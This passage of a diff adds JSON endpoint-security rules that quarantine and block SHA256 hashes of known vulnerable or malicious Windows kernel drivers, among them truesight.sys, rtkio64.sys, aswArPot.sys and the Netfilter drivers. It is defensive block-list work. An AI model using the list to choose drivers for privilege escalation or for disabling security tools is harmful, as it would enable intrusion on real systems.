+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619474Z",
+  "creation_date": "2026-03-23T11:45:29.619475Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619481Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e657e54c341d37881837dbaf553e10bbe31ff2d6ccf9ca939ca5433ec464a73b",
+  "comment": "Realtek vulnerable driver (aka rtkio64.sys, rtkiow10x64.sys and rtkiow8x64.sys) [https://github.com/blogresponder/Realtek-rtkio64-Windows-driver-privilege-escalation] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "401507f6-311a-57d5-8d59-0610ebdfbb39",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480791Z",
+  "creation_date": "2026-03-23T11:45:31.480794Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480802Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6b6b7606fec21af6dd3532314592dbcead7f43852044e1f3655889f50cb0704",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4016d471-bc45-5cb2-b523-62ceef6bdc24",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827428Z",
+  "creation_date": "2026-03-23T11:45:31.827431Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827439Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2dcae7db1bb23c65b5ba8fc33cb70bd899b5885476f1a9ff8a85e3870f16068c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "401c9651-db4d-53b9-a405-4b52e05abbeb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487505Z",
+  "creation_date": "2026-03-23T11:45:31.487507Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487513Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2c4190298c143714531a86458e5e3934fbc3fca0a9d73f44cc6757fb85e78082",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4024bcd0-78ee-54b0-a47b-ad27ea514ae0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618788Z",
+  "creation_date": "2026-03-23T11:45:29.618791Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618797Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dcef3c2fe44a68992d2344a8ec129e9d35e7790f4317e9bd7bca6bf217252d91",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "403376f8-965d-5ce6-9a46-cf5e0119852d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489627Z",
+  "creation_date": "2026-03-23T11:45:31.489630Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489638Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aca2d74e09757c2a29e5ed4a1530d2b33f17b11cf5a15567afef30e6fe77debe",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "404d22e7-291a-535c-a397-bfd0e70b4e80",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490748Z",
+  "creation_date": "2026-03-23T11:45:31.490750Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490755Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "33152527615b92ced0d54dd7bf4ccd20cded5ce85232425fba7991b22942a763",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4052fa9f-023e-597e-8268-131520bb6fba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834241Z",
+  "creation_date": "2026-03-23T11:45:30.834245Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834253Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7da06c9844088ecb59445f8d04f13a42b435ed71843fbdde8af44ef4cae234fa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4053de44-a1e7-5f18-9e4e-82ce48523feb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491574Z",
+  "creation_date": "2026-03-23T11:45:31.491577Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491585Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1568a3eed6dffeeb9869cbcb7f6fd852d05b2eb8f78f4b4242a54e652052f4ca",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4054dfc2-c271-54a7-a88d-d6efb29cec45",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967420Z",
+  "creation_date": "2026-03-23T11:45:29.967422Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967427Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a5c873085f36f69f29bb8895eb199d42ce86b16da62c56680917149b97e6dac4",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "405a2d52-5d19-5d06-b75c-ff8c9fefbe42",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475347Z",
+  "creation_date": "2026-03-23T11:45:31.475351Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475361Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "74d3c4c96a2598c883561d5caabaddd71a81d6bd65760b32c93c5161bd28d596",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "406087ff-389a-5e47-a975-1c2eafd2a5be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152035Z",
+  "creation_date": "2026-03-23T11:45:31.152038Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152046Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "791e46f7a9464c34c95fa0f7d468b8b0b8ef5a60b766c445d78dedad2300396b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4061ead4-94a3-565a-aa93-2a7d90b688cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497651Z",
+  "creation_date": "2026-03-23T11:45:31.497654Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497660Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e5a1c86133049837c7a0a4e334a2e3f24f8580a4b7d1a2776a6258727f5a493",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4063d9d1-6024-5156-94a2-084e78a4fc64",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984529Z",
+  "creation_date": "2026-03-23T11:45:29.984531Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984536Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e288439705d9be2c1f74cf8a44c3853ac3708e52c592b23398877006fadf6ccc",
+  "comment": "Vulnerable Kernel Driver (aka inpout32.sys) [https://www.loldrivers.io/drivers/97fa88f6-3819-4d56-a82c-52a492a9e2b5/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "406446c7-43c2-5a3a-b5da-8b18ed0e4fda",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969682Z",
+  "creation_date": "2026-03-23T11:45:29.969684Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969689Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c1b31926afb22ef6f8a3486f101da279d47c09d4acdb3a7bc743a7df8ae727bb",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4069e4e0-850f-5a57-981b-a3b89bb587e0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146277Z",
+  "creation_date": "2026-03-23T11:45:31.146279Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146284Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e26284a5fb856e2dd08d4d170348f57bb583ec9201ad225115feed1220cb39e1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "406af8cb-e469-5353-9e17-eccec3a52c2f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481133Z",
+  "creation_date": "2026-03-23T11:45:30.481135Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481140Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9ff4ef4bc143cb8df2ae2f800d5124b117456b2e04d4c33db766b7e8e21ea048",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "40735f29-624e-5df2-b2d6-19c27f3ec6d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824646Z",
+  "creation_date": "2026-03-23T11:45:31.824648Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824654Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1ccbc6ab55d49b3f095fb3225e21df9c7752a9dd31febb13bde051c74b2d2b8b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "407aef52-6273-5ec0-8312-a9d2ae2eeffe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817060Z",
+  "creation_date": "2026-03-23T11:45:31.817062Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817067Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c1bdca534d8c83ecc2ae0f5db03d69c9687d8822662bd79c1d4640977dde2d75",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "407c1343-a14c-5554-a927-930e545dbcb1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494409Z",
+  "creation_date": "2026-03-23T11:45:31.494412Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494421Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a60639f3f5e821c5c2eeef8a7bcbfc3fa5dc4b96641aaa081a1ea613155f71b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "40891794-b185-56da-aeb1-2e1a65ff5fe5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485801Z",
+  "creation_date": "2026-03-23T11:45:31.485805Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485815Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b1eb05d052ba7fa8eafbcb6d1a224203339f690fb8dd289f486aa579418fe2f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "408d6b34-a5d6-539d-9ef8-77a515f2199c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809341Z",
+  "creation_date": "2026-03-23T11:45:31.809344Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809351Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b9ce9a3dca79650b59b056fa0805cb757e1acd9c320911ac5db701c99ab6290",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4090cd0b-8f9d-50d6-8bf4-7d732d25a89f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
